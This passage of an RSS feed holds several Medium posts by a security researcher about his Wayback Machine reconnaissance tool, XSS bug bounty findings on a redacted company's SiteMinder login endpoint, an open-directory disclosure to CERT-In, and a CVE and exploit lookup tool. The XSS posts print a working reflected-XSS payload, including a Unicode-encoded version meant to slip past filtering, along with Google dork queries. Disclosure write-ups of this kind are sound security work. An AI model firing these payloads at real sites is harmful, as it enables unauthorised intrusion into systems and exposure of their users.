            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/0*NiXmOlVBsMPEzgpJ.gif" /></figure><p>There’s something oddly satisfying about watching your own code unravel secrets hidden in time.</p><p>That’s exactly how my evening started, just another casual run of <strong>The Time Machine v3.0</strong>, my OSINT framework built to traverse the depths of the internet’s archives.</p><p><strong>Github:</strong> <a href="https://github.com/anmolksachan/TheTimeMachine/">https://github.com/anmolksachan/TheTimeMachine/</a></p><h3>🧭 Setting the Scene</h3><p>It was late, the kind of quiet night that’s perfect for research.<br> I had my terminal open, a cup of coffee beside me, and a curious thought:</p><blockquote><em>“What if I pointed The Time Machine at one of those old, official domains?”</em></blockquote><p>Just for analysis. Nothing too wild. So, I fired up the command:</p><pre>$ python3 thetimemachine.py [REDACTED].in --fetch</pre><p>And there it was, the classic ASCII banner lighting up my terminal like a neon sign in a cyberpunk alley:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*khjhpJ1EZjcWGqHIZA46MA.png" /></figure><p>The script began fetching snapshots, timestamped URLs, and crawling through the remnants of the internet’s memory.<br> Minutes passed. Thousands of URLs appeared on the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5akiD17Nq4O_5Vhz8AoqQ.png" /></figure><p><strong>7176 URLs fetched.</strong><br> <strong>All saved neatly inside </strong><strong>content/[REDACTED].in_URLs.txt.</strong></p><p>Everything seemed ordinary. Until the next command.</p><h3>🔍 When Curiosity Struck</h3><p>I decided to dig deeper.</p><pre>$ python3 thetimemachine.py [REDACTED].in --listing</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-1WB9q37EYddmcbEDbT2g.png" /></figure><p>This mode scans all historical URLs for open directory listings, a feature most admins forget to disable.</p><p>The console began spitting out hits, one after another.<br> And then, <strong>a line appeared</strong> that instantly caught my attention:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2YkMmbeppB5KY4SG8YAYw.png" /></figure><p>At first glance, it looked like a simple documents folder.<br> But curiosity, that sweet, dangerous curiosity, made me check it out.</p><h3>🧩 What I Found</h3><p>The folder wasn’t just open.<br> It was <em>wide open</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*PHQq3Y9IN1MnkvphD_fRaw.png" /></figure><p>Inside were <strong>presentations</strong>, <strong>event brochures</strong>, <strong>participation lists</strong>, and <strong>commercial reports</strong>, some of which even contained the <strong>names, organizations, and contact information</strong> of individuals involved in [REDACTED] events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yDUNt9zJMVYDIjPD5fyJ3w.png" /></figure><p>Essentially, an information goldmine left exposed on the open web.</p><p>The deeper I looked, the clearer it became:<br> Anyone, anywhere, could have accessed this.</p><h3>📑 The Responsible Path</h3><p>Now, at this point, it’s easy for curiosity to turn into exploitation.</p><p>But as someone who’s spent years advocating for <strong>ethical hacking and responsible disclosure</strong>, I knew what had to be done.</p><p>I compiled a <strong>Security Incident Report</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKv8qeZvvr-xatu-UyKbSA.png" /></figure><p>I detailed every exposed file type, from “[REDACTED].xlsx” to “[REDACTED].pdf” and explained the <strong>potential risks.</strong></p><p>Finally, I submitted it responsibly to the concerned authorities.</p><h3>🏆 The Moment</h3><p>A few weeks later, an email popped up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLAvu8W1yvQ-dOfUtUCIVQ.png" /><figcaption><strong>CERT-In had acknowledged the report.</strong></figcaption></figure><p>That’s right, India’s national cybersecurity response team had officially recognized the finding, and with that, my name was added to the <a href="https://www.cert-in.org.in/Hallof_Fame.jsp"><strong>CERT-In Hall of Fame</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37NkLBWJrRDmZWF1Rye9dw.png" /></figure><p>That’s when it hit me, this wasn’t just a tool anymore.</p><p><strong>The Time Machine v3.0</strong> had literally lived up to its name, traveling through archived timelines to uncover forgotten security holes of the present.</p><h3>💡 Reflection</h3><p>Building tools like <em>The Time Machine</em> was never about fame.<br> It was about curiosity, about understanding how data, once public, never truly disappears.</p><p>Getting into <strong>CERT-In’s Hall of Fame</strong> was just the cherry on top, a reminder that <strong>ethical hacking done right can make a real difference</strong>.</p><p>If you’re a budding researcher, remember this:</p><blockquote><em>Sometimes, the most powerful vulnerabilities aren’t hidden deep in code, they’re hidden in plain sight, waiting for someone curious enough to look.</em></blockquote><p><strong>Tool:</strong> The Time Machine v3.0<br> <strong>Authors:</strong> Anmol K Sachan (@Fr13ND0x7f) &amp; Arjun Chaudhary (Chaudhary_S4h4b)<br> <strong>Purpose:</strong> An OSINT framework for Wayback Machine reconnaissance and exposure detection<br><strong>Github:</strong> <a href="https://github.com/anmolksachan/TheTimeMachine/">https://github.com/anmolksachan/TheTimeMachine/</a></p><p><strong>Final Thought:</strong><br> The internet never forgets, and with the right tool, neither do we.</p><p>🕰️ <em>Coded with love, discovered with intent, and reported with responsibility.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d356ad34911" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Time Traveling for Bugs: How The Time Machine v3.0 Uncovered More XSS via Google Dorking [Part 2]]]></title>
            <link>https://anmolksachan.medium.com/time-traveling-for-bugs-how-the-time-machine-v3-0-uncovered-more-xss-via-google-dorking-part-2-95c5c4d44315?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/95c5c4d44315</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Sat, 09 Aug 2025 12:22:12 GMT</pubDate>
            <atom:updated>2025-08-09T12:22:12.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*nx_MxPEdm-10VCd3lvJMJw.gif" /></figure><p>After the success of my first run with The <a href="https://medium.com/@anmolksachan/time-traveling-for-bugs-how-the-time-machine-uncovered-an-xss-on-redacted-com-92e3662a50e4">Time Machine on REDACTED.com</a>, I couldn’t help but think — <em>what else is hiding out there?</em><br>Sure, the Wayback Machine gave me 595k+ URLs to chew through, but sometimes, a little creative recon outside the box can reveal even juicier targets.</p><p>That’s when I decided to pivot and combine The Time Machine’s XSS payloads with some good old-fashioned <a href="http://anmolksachan.github.io/ProjectDork/"><strong>Google Dorking</strong></a>.</p><h3>Links:</h3><p>Blog: <a href="https://medium.com/@anmolksachan/time-traveling-for-bugs-how-the-time-machine-uncovered-an-xss-on-redacted-com-92e3662a50e4">Time Traveling for Bugs: How The Time Machine v3.0 Uncovered an XSS on REDACTED.com [Part 1]</a></p><p>Github/ Tool: <a href="https://github.com/anmolksachan/TheTimeMachine">TheTimeMachine v3.0 — Weaponizing Wayback for Recon, BugBounties, OSINT &amp; More!</a></p><h3>The Dork That Did the Damage</h3><p>In Part 1, the vulnerable endpoint lived under /siteminderagent/. So, my thought process was simple: if it exists on one subdomain, chances are it might pop up elsewhere in the same org.</p><p>I fired up Google with a targeted query:</p><pre>site:[REDACTED].com &quot;/siteminderagent/&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2ImS4D4RXRpY5_nmcxA0g.png" /></figure><p>Almost instantly, a couple of interesting hosts appeared:</p><pre>bfed.ext.net.[REDACTED].com<br>bfed-qa.ext.net.[REDACTED].com</pre><p>These looked like staging or environment-specific systems, perfect places for vulnerabilities to hide, often with less monitoring and weaker security hygiene.</p><h3>Reloading the Payload</h3><p>I didn’t even have to reinvent the wheel here. The payload from Part 1 had already proven effective, so I reused it:</p><pre>/siteminderagent/forms/smpwservices.fcc?USERNAME=&lt;img src=x onerror=&quot;confirm(`The Time Machine v3.0`)&quot;&gt;&amp;SMAUTHREASON=7</pre><p>(<em>For the nerds wondering — yes, this was actually sent as a Unicode-encoded payload to avoid filtering:</em>)</p><pre>/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(`The Time Machine v3.0`)\u0022\u003e&amp;SMAUTHREASON=7</pre><h3>And… Boom!</h3><p>On both hosts, the confirm box popped up instantly — no WAF block, no sanitization, nothing. Seeing the payload fire on multiple domains confirmed that this wasn’t an isolated oversight; it was likely a shared codebase flaw across environments.</p><p>This is where combining tools with manual recon pays off. While The Time Machine excels at digging through archived endpoints, Google Dorking helped me quickly identify live, possibly forgotten hosts that were just as vulnerable.</p><p>Screenshots of the payload firing on both domains will speak louder than any words here (adding them below in the final post).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fgHU0iGwWHqqNMwRHGVfsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Irwli1bLqh4OmPSNXGQSTg.png" /></figure><h3>Takeaway</h3><p>Bug hunting is often about chaining techniques — <strong>automation for scale, manual recon for precision</strong>. <a href="https://medium.com/@anmolksachan/time-traveling-for-bugs-how-the-time-machine-uncovered-an-xss-on-redacted-com-92e3662a50e4">Part 1 was all about letting The Time Machine pull me into the past</a>. Part 2 proves that even without time travel, a smartly crafted search query can uncover fresh attack surfaces in the present.</p><p>The next step? I’m already thinking about how this could scale — mapping every /siteminderagent/ endpoint org-wide and running a mass payload test. But that’s a story for another day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95c5c4d44315" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Time Traveling for Bugs: How The Time Machine v3.0 Uncovered an XSS on REDACTED.com [Part 1]]]></title>
            <link>https://anmolksachan.medium.com/time-traveling-for-bugs-how-the-time-machine-uncovered-an-xss-on-redacted-com-92e3662a50e4?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/92e3662a50e4</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 05:42:44 GMT</pubDate>
            <atom:updated>2025-08-09T11:38:10.731Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*RoAPrgY-kx7SwVYb.gif" /></figure><p>Hey everyone! As someone who loves digging into web applications, whether for bug bounties or just pure curiosity, I’m always on the lookout for tools that make the recon phase smoother. We all know the Wayback Machine is a goldmine of historical data, but sifting through it manually can be a nightmare. That’s where tools like <a href="https://github.com/anmolksachan/thetimemachine">TheTimeMachine</a> come in, and let me tell you, it’s a game-changer.</p><p>Recently, I decided to take TheTimeMachine for a spin, specifically focusing on finding Cross-Site Scripting (XSS) vulnerabilities. And guess what? It delivered! I wanted to share the quick and dirty details of how it went down.</p><h3>The Setup: Fetching the Past</h3><p>First things first, you need to arm TheTimeMachine with historical URLs. The tool is an OSINT framework that leverages the Wayback Machine, so the initial step is to pull all those archived links for your target. For this particular test, I pointed it at REDACTED.com.</p><p>The command is pretty straightforward:</p><pre>python3 thetimemachine.py REDACTED.com --fetch</pre><p>Watching it go was cool. The console continued to churn through URLs, in batches of 5,000. It felt like I was pulling data from different temporal dimensions! In total, it retrieved a whopping 595,507 URLs for REDACTED.com and saved them neatly into a text file. Talk about a treasure trove of endpoints!</p><pre>Fetching Wayback URLs for REDACTED.com<br>5000 URLs fetched...<br>...<br>595000 URLs fetched...<br>Retrieved 595507 URLs and saved to content/REDACTED.com/REDACTED.com_URLs.txt<br>URLs successfully written to content/REDACTED.com/REDACTED.com_URLs.txt</pre><h3>The Hunt: Unleashing the XSS Attack Mode</h3><p>With all those URLs in hand, it was time for the fun part: the attack mode. The Time Machine isn’t just a scraper; it’s designed to scan for vulnerable endpoints using predefined patterns and signatures. For XSS, it comes with a list of common payloads.</p><p>I specifically targeted XSS with the --attack xss flag:</p><pre>python3 thetimemachine.py REDACTED.com --attack xss</pre><p>The tool got right to work, scanning through the massive list of URLs. The magic happens when it finds a parameter that looks like it might be vulnerable. In this case, it was the USERNAME parameter that caught its eye.</p><p>And then, boom! The flagged URLs started popping up:</p><pre>Preparing the time machine portal for voyager....\<br>[~] Scanning content/REDACTED.com/REDACTED.com_URLs.txt for XSS patterns...[+] Flagged: https://online.networks.REDACTED.com/siteminderagent/forms/smpwservices.fcc?USERNAME=test&amp;SMAUTHREASON=7<br>[+] Flagged: https://online.networks.REDACTED.com/siteminderagent/forms/smpwservices.fcc?USERNAME=[REDACTED]&amp;SMAUTHREASON=7<br>[+] Flagged: https://online.networks.REDACTED.com/siteminderagent/forms/smpwservices.fcc?USERNAME=[REDACTED]&amp;SMAUTHREASON=7<br>[!] 2 URLs matched for XSS - saved to content/REDACTED.com/REDACTED.com_xss.txt<br> Saved 2 URLs to content/REDACTED.com/REDACTED.com_xss.txt<br>[+] Saved 2 possible XSS links to content/REDACTED.com/REDACTED.com_xss.txt</pre><p>The tool successfully flagged two URLs, both pointing to online.networks.REDACTED.com and both showing potential XSS in the USERNAME parameter. The payloads used were classic &lt;img&gt; tags with onerror events, designed to trigger a confirm box. This is a clear indicator of a reflected XSS vulnerability where user input isn&#39;t properly sanitized before being rendered back on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnh7UoiO954UZXucUoLi5g.png" /></figure><h3>The Takeaway</h3><p>Finding XSS, especially in older or forgotten parts of a web application, can be incredibly valuable. These archived endpoints might not be actively maintained or monitored, making them prime targets for overlooked vulnerabilities. The Time Machine shines here by automating the process of sifting through years of web history.</p><p>It’s not just about XSS either. The tool has modes for SQLi, LFI, open redirects, and even specific checks for WordPress and JIRA misconfigurations. Plus, its ability to extract GET parameters for fuzzing and detect JWTs makes it a comprehensive recon suite.</p><p>If you’re into bug bounties or just want to level up your OSINT game, I highly recommend checking out <a href="https://github.com/anmolksachan/thetimemachine">TheTimeMachine</a>. It’s built by folks who clearly understand the pain points of recon, and it shows in its effectiveness. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92e3662a50e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ThreatTracer 3.0: Redefining Vulnerability Intelligence for Modern Defenders]]></title>
            <link>https://anmolksachan.medium.com/threattracer-3-0-redefining-vulnerability-intelligence-for-modern-defenders-7661ffc11873?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/7661ffc11873</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Fri, 02 May 2025 10:25:33 GMT</pubDate>
            <atom:updated>2025-05-02T12:21:10.823Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*56hF1yKtz5pBF63p5ezgMQ.png" /><figcaption><em>Find CVEs, public exploits, and 0-Day vulnerabilities for any software component.</em></figcaption></figure><p>In a world where vulnerabilities emerge daily, security teams need tools that don’t just report risks but <em>anticipate </em>them. <a href="https://github.com/anmolksachan/ThreatTracer"><strong>ThreatTracer 3.0</strong></a><strong> </strong>is here to transform how you approach vulnerability management. This isn’t just an upgrade — it’s a paradigm shift in CVE analysis, exploit discovery, and much more.</p><h3>Why ThreatTracer Stands Out</h3><p>While most tools stop at listing CVEs, ThreatTracer dives deeper. It bridges the gap between <strong>detection </strong>and <strong>action</strong>, combining NVD data, exploit databases, and community intelligence into a single, cohesive workflow. Whether you’re a blue-team defender, a red-team operator, or a developer securing your stack, ThreatTracer gives you the edge.</p><h3>Headline Features You’ll Love</h3><h4>1. Unified Vulnerability Intelligence</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*GquypVXcyvCq8ezznpDIfg.png" /></figure><ul><li><strong>CVE Detection</strong>: Query by component/version, CPE, or CVE ID.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYCfRB2um-osK9ykAkJamw.png" /></figure><ul><li><strong>Zero-Day Hunting</strong>: Cross-reference CVEs with exploit availability to uncover gaps in public disclosure.</li></ul><h4>2. Exploit Verification Ecosystem</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRX_AxRVpV0WIoCnWt__Kg.png" /></figure><ul><li><strong>Exploit-DB Integration</strong>: Check for public exploits in seconds.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqSC5alEM0Aff9EYLe9ovA.png" /></figure><ul><li><strong>GitHub PoC Lookup</strong>: Fetch proof-of-concepts from the <strong>Trickest CVE database </strong>(500k+ PoCs).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*uf7p3lKRVziTcvVr2w8uSA.png" /></figure><ul><li><strong>Marc Full Disclosure</strong>: Surface obscure exploits from mailing lists.</li></ul><h4>3. NVD API Power with Fallback Resilience</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*rERpghOvXg3eV0FklOSnKw.png" /></figure><ul><li><strong>Authenticated API Requests</strong>: Use your NIST API key for priority access.</li><li><strong>Rate Limit Handling</strong>: Automatic retries ensure reliability, even during NVD outages.</li></ul><h4>4. Tactical Output Customization</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*6ubFgF7GHoGJ4YWiPR0Ojw.png" /></figure><ul><li><strong>--poc Flag</strong>: List GitHub PoCs and exploit-db entries.</li><li><strong>--more Flag</strong>: Get granular vulnerability descriptions and weaknesses.</li></ul><h4>5. Detailed ExploitDB Information</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N978I0pbZZrryhpENfMF8A.png" /></figure><p>Note: Updated later, so the other screenshots might not have this as output.</p><h3>Real-World Use Cases</h3><h4>Scenario 1: Security audit of Peel Shopping v9.4.0 using ThreatTracer.</h4><blockquote>python3 threattracer.py -c ‘Peel Shopping’ -v ‘9.4.0’ — poc — more</blockquote><p><strong>Output </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBo8jdzIImaUy2NErZLUcg.png" /></figure><p><strong>Summary </strong>:</p><p><strong>Key Findings </strong>:</p><ol><li><strong>CVE–2021–27190 </strong>(Stored XSS):</li></ol><ul><li>Vulnerability in versions 9.3.0–9.4.0 allows malicious JavaScript injection via user input.</li><li><strong>Risk</strong>: Cookie theft, redirects, session hijacking.</li><li><strong>Exploit Status</strong>: Public exploits available on GitHub (e.g., PoC code).</li></ul><p><strong>2. CVE–2021–37593 </strong>(SQLi):</p><ul><li>Critical SQL injection flaw allowing unauthenticated attackers to extract/modify database data.</li><li><strong>Exploit Status</strong>: Public exploits available on GitHub as well as exploitDB(e.g., PoC code).</li></ul><p><strong>3. CVE-2021 41672 </strong>(Authenticated SQLi):</p><ul><li>Admin-level SQL injection in utilisateurs.php.</li><li><strong>Exploit Status</strong>: No public exploit, but PoC code exists.</li></ul><p><strong>Action Items </strong>:</p><ul><li>Prioritize patching <strong>CVE–2021–37593 </strong>(active exploits in the wild).</li><li>Monitor GitHub PoCs for CVE–2021–27190 and CVE–2021–41672.</li><li>Validate CPE cpe:2.3:a:peel:peel_shopping:9.4.0 for patch compatibility.</li></ul><p><strong>ThreatTracer Value </strong>:</p><ul><li>Identified 3 CVEs with exploit intelligence in seconds.</li><li>Enabled targeted remediation using GitHub PoC references.</li></ul><h4>Scenario 2: Investigating a High-Profile CVE</h4><blockquote>python3 threattracer.py — cve CVE-2021–44228</blockquote><p><strong>Output </strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-B9HR11jmRpNrjtYU4brw.png" /></figure><p><strong>Summary </strong>:</p><ul><li><strong>Marc Exploits </strong>: 3 public exploits found (e.g., Intel DCM, Open-Xchange, Apple Xcode).</li><li><strong>Vulnerability</strong>: Apache Log4j2 JNDI remote code execution (RCE) via attacker-controlled LDAP endpoints.</li><li><strong>Weaknesses</strong>: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption), CWE-502 (Deserialization of Untrusted Data), CWE-917 (Improper Neutralization of Special Elements).</li><li><strong>Exploit Status</strong>: Public exploits confirmed.</li><li><strong>GitHub PoCs</strong>: 5 proof-of-concepts identified (e.g., ModSec-log4j2, PHunter, JFrog CLI plugins).</li></ul><p><strong>Impact</strong>: Enables rapid verification of exploit availability and actionable remediation steps.</p><h3>Technical Deep Dive</h3><h4>Architecture Highlights</h4><ul><li><strong>Smart CPE Matching</strong>: Uses NVD’s REST API for precise component identification.</li><li><strong>Resilient Requests</strong>: Automatic retry logic with exponential backoff.</li><li><strong>Exploit Cross-Referencing</strong>: Checks Exploit-DB, GitHub, and Marc.Info in parallel.</li></ul><h3>Community &amp; Contribution</h3><p>ThreatTracer thrives on collaboration:</p><ul><li><strong>Start the Repo</strong>: <a href="https://github.com/anmolksachan/ThreatTracer">GitHub Link</a></li><li><strong>Contribute</strong>: Add new exploit sources, improve parsing, or fix bugs.</li><li><strong>Follow Us</strong>: <a href="https://twitter.com/fr13nd0x7f">@FR13ND0x7F </a>for updates.</li></ul><h3>Ethical Use &amp; Disclaimer</h3><p>This tool is for <strong>authorized testing only</strong>. Misuse could violate laws or ethical guidelines.</p><p><strong>Ready to Hunt?</strong></p><blockquote>git clone <a href="https://github.com/anmolksachan/ThreatTracer.git">https://github.com/anmolksachan/ThreatTracer.git</a></blockquote><blockquote>cd ThreatTracer</blockquote><blockquote>pip3 install -r requirements.txt</blockquote><blockquote>python3 threattracer.py -h</blockquote><p>Join thousands of defenders who trust ThreatTracer to stay ahead of threats. <strong>Your systems deserve nothing less.</strong></p><p><em>Hack responsibly. Defend relentlessly. </em>🔍💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7661ffc11873" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>